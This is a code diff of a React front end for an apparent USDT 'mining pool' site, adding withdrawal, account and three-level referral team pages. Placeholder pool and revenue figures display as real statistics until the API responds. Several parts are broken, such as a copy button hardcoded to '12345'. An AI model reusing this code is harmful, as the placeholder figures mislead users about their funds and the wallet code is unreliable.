     announcement: 'Annonce',
     faq: 'FAQ',
     tutorial: 'Didacticiel',

src/lang/tw.js

@@ -3,6 +3,8 @@ export const tw = {
     home: '首頁',
     farm: '農場',
     staking: '質押',
+    account: 'Account',
+    team: 'Team',
     announcement: '公告',
     faq: 'FAQ',
     tutorial: '教案',

src/pages/Account.js

@@ -0,0 +1,229 @@
+import {
+    Text, Button, Tab, TabList, TabPanel, TabPanels,
+    Tabs, Center, Input, Divider, Image,
+    Badge, Icon, StackDivider, HStack,
+} from '@chakra-ui/react'
+import React from 'react'
+import { HBetween, HFStack, PoolData, VFStack } from '../components'
+import { Images } from '../data'
+import {
+    get_page_account, post_withdraw,
+    get_withdrawal_history,
+    get_daily_revenue_history,
+    get_reward_history,
+} from '../api'
+import { useApp } from '../AppContext'
+
+
+let accountData = [
+    { name: 'Total output', value: 0, emp: false, unit: 'USDT' },
+    { name: 'Wallet balance', value: 0, emp: false, unit: 'USDT' },
+    { name: 'Withdrawal balance', value: 0, emp: false, unit: 'USDT' },
+]
+
+const NoData = () => (
+    <HStack h='20' >
+        <Text>
+            No Available Data
+        </Text>
+    </HStack>
+)
+
+export const Account = () => {
+    const app = useApp()
+
+    const [accountInfo, setAccountInfo] = React.useState(accountData)
+    const [withdrawalHist, setWithdrawalHist] = React.useState([])
+    const [dailyRevenueHist, setDailyRevenueHist] = React.useState([])
+    const [rewardHist, setRewardHist] = React.useState([])
+
+    const [withdrawalAmount, setWithdrawalAmount] = React.useState(0)
+
+    const onBtnConfirm = () => {
+        if (app.address && withdrawalAmount > 0) {
+            post_withdraw(app.address, withdrawalAmount).then(res => {
+
+            }).catch(err => {
+                console.error(err.message)
+            })
+        }
+    }
+
+    React.useEffect(() => {
+        if (app.address) {
+            get_page_account(app.address).then(res => {
+                console.log(res.data)
+                const d = res.data
+                let newAccount = [...accountData]
+                newAccount[0].value = d.output
+                newAccount[1].value = d.balance
+                newAccount[2].value = d.withdrawal
+                setAccountInfo(newAccount)
+
+            }).catch(err => {
+                console.error(err.message)
+            })
+
+            get_withdrawal_history().then(res => {
+                console.log(res.data)
+            })
+            get_daily_revenue_history().then(res => {
+                console.log(res.data)
+            })
+            get_reward_history().then(res => {
+                console.log(res.data)
+            })
+        }
+    }, [app.address])
+
+    return (
+        <>
+            <PoolData title='My Account' data={accountInfo} />
+
+            <Tabs mt="4" isFitted variant="enclosed">
+                <TabList>
+                    <Tab _selected={{ color: 'white', bg: 'purple.500' }}> Withdrawal</Tab>
+                    <Tab _selected={{ color: 'white', bg: 'purple.500' }}>Record</Tab>
+                </TabList>
+
+                <TabPanels>
+
+                    <TabPanel
+                        bg="white"
+                        borderWidth="1px"
+                        borderRadius="lg"
+                        boxShadow="lg"
+                    >
+                        <VFStack>
+                            <HFStack
+                                p="4"
+                            >
+                                <Text fontWeight='700'>Withdraw</Text>
+                            </HFStack>
+
+                            <HFStack
+                                align="center"
+                                borderRadius="lg"
+                                borderWidth="1px"
+                                p="2"
+                                divider={<StackDivider borderColor='gray.200' />}
+                            >
+                                <VFStack flex={1} align="start">
+                                    <Input
+                                        type='number'
+                                        borderWidth="0"
+                                        _focus={{ borderWidth: "0" }}
+                                        size="lg"
+                                        value={withdrawalAmount}
+                                        onChange={(ev) => {
+                                            setWithdrawalAmount(ev.target.value)
+                                        }}
+                                    />
+
+                                    <Badge
+                                        as="button"
+                                        colorScheme='blue'
+                                        variant='solid'
+                                        fontSize='10'
+                                        onClick={() => {
+                                            setWithdrawalAmount(accountInfo[1].value)
+                                        }}
+                                    >
+                                        Redeem all
+                                    </Badge>
+                                </VFStack>
+
+                                <HFStack
+                                    flex={1}
+                                    justify="center"
+                                    align="center"
+                                    fontWeight='700'
+                                    pb="6"
+                                >
+                                    <Image w='8' h='8' borderRadius='50%' src={Images.usdt} alt="usdt" />
+                                    <Text>USDT</Text>
+                                </HFStack>
+
+                            </HFStack>
+
+                            <Center py="4">
+                                <Button colorScheme="purple" onClick={onBtnConfirm}>Confirm</Button>
+                            </Center>
+
+                            <Divider />
+
+                            <HFStack>
+                                <Text
+                                    fontSize='12'
+                                    color='gray.400'
+                                >
+                                    Your withdrawal will be sent to you USDT wallet address within 24 hours.
+                                </Text>
+                            </HFStack>
+                        </VFStack>
+                    </TabPanel>
+
+                    <TabPanel>
+
+                        <Tabs>
+                            <TabList>
+                                <Tab _selected={{ color: 'white', bg: 'purple.400' }}>Withdraw</Tab>
+                                <Tab _selected={{ color: 'white', bg: 'purple.400' }}>DailyRevenue</Tab>
+                                <Tab _selected={{ color: 'white', bg: 'purple.400' }}>Reward</Tab>
+                            </TabList>
+
+                            <TabPanels>
+                                <TabPanel>
+                                    <HBetween>
+                                        <Text>Time</Text>
+                                        <Text>Quantity</Text>
+                                        <Text>Status</Text>
+                                    </HBetween>
+                                    {
+                                        withdrawalHist ?
+                                            <>
+                                            </>
+                                            :
+                                            'No Data.'
+                                    }
+                                </TabPanel>
+
+                                <TabPanel>
+                                    <HBetween>
+                                        <Text>Time</Text>
+                                        <Text>Quantity</Text>
+                                        <Text>Type</Text>
+                                    </HBetween>
+                                    {
+                                        dailyRevenueHist ?
+                                            <>
+                                            </>
+                                            :
+                                            'No Data.'
+                                    }
+                                </TabPanel>
+
+                                <TabPanel>
+                                    <HBetween>
+                                        <Text>Time</Text>
+                                        <Text>Quantity</Text>
+                                        <Text>User Address</Text>
+                                    </HBetween>
+                                    {
+                                        rewardHist ?
+                                            <>
+                                            </>
+                                            :
+                                            'No Data.'
+                                    }
+                                </TabPanel>
+                            </TabPanels>
+                        </Tabs>
+                    </TabPanel>
+                </TabPanels>
+            </Tabs>
+        </>
+
+    )
+}
+

src/pages/Home.js

@@ -3,11 +3,12 @@ import {
     Box, Stack, VStack, Image, Text,
     Flex, HStack, useColorModeValue
 } from "@chakra-ui/react"
-import { Auditors, Partners, Carousel, MultiChainCard, StateCard, MiningListCard } from "../components"
+import { Auditors, Partners, } from "../components"
 import { useApp } from '../AppContext'
-import { get_coins_platform } from '../api'
+import { get_page_mining } from '../api'
-import { ImPieChart, ImFire } from 'react-icons/im'
+import { PoolData } from "../components/PoolData"
-import { useCountup } from "../hooks"
+import { Faq } from "../components/Faq"
+import { LatestScreen } from "../components/LatestScreen"
 
 const HomeFooter = () => {
 
@@ -33,8 +34,17 @@ const HomeFooter = () => {
     )
 }
 
+let defPoolData = [
+    { name: 'Total output', value: 234, emp: true, unit: '' },
+    { name: 'Valid node', value: 2344.34, emp: true, unit: '' },
+    { name: 'Participant', value: 2342342.32, emp: false, unit: '' },
+    { name: 'User revenue', value: 234234.04, emp: false, unit: 'USDT' },
+]
+
 export const Home = () => {
-    const [coins, setCoins] = React.useState([])
+    const [poolData, setPoolData] = React.useState(defPoolData)
+    const [lastestRecord, setLastestRecord] = React.useState([])
+    const [articles, setArticles] = React.useState([])
 
     const app = useApp()
 
@@ -42,62 +52,31 @@ export const Home = () => {
     const stateCardBg = useColorModeValue('gray.100', 'gray.900')
 
     React.useEffect(() => {
-        get_coins_platform().then((res) => {
+        get_page_mining().then(res => {
-            setCoins(res.data)
+            // console.log(res.data)
+            const pd = res.data.pool_data
+            let newPd = [...defPoolData]
+            newPd[0].value = pd.totalOutput
+            newPd[1].value = pd.validNode
+            newPd[2].value = pd.participant
+            newPd[3].value = pd.userRevenue
+            setPoolData(newPd)
+            setArticles(res.data.articles)
+            setLastestRecord(res.data.topEarns)
         }).catch(err => {
-            console.error('get_coins_platform() error:' + err.message)
+
         })
     }, [])
 
     return (
         <>
-            <Box>
+            <PoolData title='Pool' data={poolData} />
-                <Carousel url={app.bannerLink} cards={app.banners} />
-            </Box>
 
-            <VStack
+            <LatestScreen mt="4" data={lastestRecord} />
-                borderWidth="1px"
-                borderRadius="lg"
-                w="full"
-                bg={bg}
-                boxShadow="lg"
-                p="6"
-                my="4"
-            >
-                <Stack
-                    w="full"
-                    direction={{ base: 'column', md: 'row' }}
-                >
-                    <MultiChainCard icon={ImFire} title="Multi-chain Lock-up Value($)" num={app.rewards[0]} />
-                    <MultiChainCard icon={ImPieChart} title="Multi-chain User Revenue($)" num={app.rewards[1]} />
-                </Stack>
 
-                <Stack
+            <Faq articles={articles} mt="4" />
-                    bg={stateCardBg}
-                    w="full"
-                    borderRadius="lg"
-                    direction={{ base: 'column', md: 'row' }}
-                >
-                    <HStack
-                        flex={1}
-                    >
-                        <StateCard title="Mining Output" num={app.rewards[2]} />
-                        <StateCard title="Mining Output Value($)" num={app.rewards[3]} />
-                    </HStack>
 
-                    <HStack
+            <Auditors mt="4" />
-                        flex={1}
-                    >
-                        <StateCard title="Multi-chain Rewards($)" num={app.rewards[4]} />
-                        <StateCard title="Multi-chain Burned" num="0" />
-                    </HStack>
-                </Stack>
-
-            </VStack>
-
-            <MiningListCard coins={coins} />
-
-            {/* <Auditors mt="4" /> */}
 
             <Partners mt="4" />
 

src/pages/InvalidAgent.js

@@ -0,0 +1,14 @@
+import React from "react"
+import { VFStack } from "../components"
+
+
+// Redirect to this page then
+// open any pages in the browser you dont want.
+export const InvaidAgent = () => {
+
+    return (
+        <VFStack>
+
+        </VFStack>
+    )
+}

src/pages/Team.js

@@ -0,0 +1,100 @@
+import React from "react"
+import {
+    Divider, FormControl, FormHelperText, FormLabel, Button,
+    Input, InputRightElement, InputGroup, Icon, IconButton, useClipboard,
+} from "@chakra-ui/react"
+import { useApp } from "../AppContext"
+import { PoolData, VPanel } from "../components"
+import { FiCopy, FiCheck } from 'react-icons/fi'
+import { get_page_team } from '../api'
+
+let teamData = [
+    { name: 'Level 1 Total Output', value: 234, emp: true, unit: 'USDT' },
+    { name: 'Level 2 Total Output', value: 2344.34, emp: true, unit: 'USDT' },
+    { name: 'Level 3 Total Output', value: 2342342.32, emp: true, unit: 'USDT' },
+    { name: 'Participant', value: 234234.04, emp: true, unit: 'USDT' },
+    { name: 'Team revenue', value: 234234.04, emp: false, unit: 'USDT' },
+]
+
+export const Team = () => {
+    const app = useApp()
+    const [teamInfo, setTeamInfo] = React.useState(teamData)
+    const { hasCopiedAddress, doCopyAddress } = useClipboard('12345')
+    const { hasCopiedShareLink, doCopyShareLink } = useClipboard(app.shareLink)
+
+    React.useEffect(() => {
+        get_page_team().then(res => {
+            // console.log(res.data)
+            const d = res.data
+            let newTeam = [...teamData]
+            newTeam[0].value = d.l1Output
+            newTeam[1].value = d.l2Output
+            newTeam[2].value = d.l3Output
+            newTeam[3].value = d.participant
+            newTeam[4].value = d.teamRevenue
+
+            setTeamInfo(newTeam)
+        }).catch(err => {
+            console.error(err.message)
+        })
+    }, [])
+
+    const onBtnCopyAddress = () => {
+
+    }
+
+    const onBtnCopyLink = () => {
+
+    }
+
+    return (
+
+        <>
+            <PoolData title='Team' data={teamInfo} />
+
+            <VPanel my="4">
+
+                <FormControl>
+                    <FormLabel htmlFor="address">
+                        My wallet address
+                    </FormLabel>
+                    <InputGroup>
+                        <Input id='address' type='text'
+                            value={app.address}
+                            disabled
+                        // onChange={}
+                        />
+                        <InputRightElement children={
+                            <IconButton
+                                variant='solid'
+                                colorScheme='gray'
+                                icon={<Icon as={hasCopiedAddress ? FiCheck : FiCopy} />}
+                                onClick={doCopyAddress}
+                            />
+                        } />
+                    </InputGroup>
+                    <FormHelperText>Set tht referrer, the referrer will get addtional rewards from the mining pool</FormHelperText>
+                </FormControl>
+
+                <Divider />
+
+                <FormControl>
+                    <FormLabel>My share link</FormLabel>
+                    <InputGroup>
+                        <Input id='link' type='text' value={app.shareLink} disabled />
+                        <InputRightElement children={
+                            <IconButton
+                                zIndex='100'
+                                variant='solid'
+                                colorScheme='gray'
+                                icon={<Icon as={hasCopiedShareLink ? FiCheck : FiCopy} />}
+                                onClick={doCopyShareLink}
+                            />
+                        } />
+                    </InputGroup>
+
+                </FormControl>
+            </VPanel>
+        </>
+    )
+}

src/pages/index.js

@@ -2,6 +2,8 @@
 export * from './Home'
 export * from './Farm'
 export * from './Staking'
+export * from './Account'
+export * from './Team'
 export * from './Announcement'
 export * from './NotFound'
 export * from './Invite'

src/swiper.css

@@ -0,0 +1,16 @@
+.swiper {
+    width : 100%;
+    height: 100%;
+}
+
+.swiper-slide {
+    /* Center slide text vertically */
+    display: -webkit-box;
+    display: -ms-flexbox;
+    display: -webkit-flex;
+    display: flex;
+}
+
+.swiper-container-free-mode>.swiper-wrapper {
+    transition-timing-function: linear;
+}

src/theme.js

@@ -3,6 +3,10 @@ import { extendTheme } from "@chakra-ui/react"
 const config = {
     initialColorMode: 'light',
     useSystemColorMode: false,
+    fonts: {
+        heading: 'Open Sans, sans-serif',
+        body: 'Open Sans, sans-serif',
+    },
 }
 
-export const theme = extendTheme({config})
+export const theme = extendTheme({ config })

src/uimsg/ModalDeposite.js

@@ -16,7 +16,7 @@ export const ModalDeposite = React.forwardRef((props, ref) => {
         >
             <Box>
                 <FormControl>Amount</FormControl>
-                <Input ref={ref} placeholder="deposite amount" />
+                <Input type="number" ref={ref} placeholder="deposite amount" />
             </Box>
 
         </ModalBox>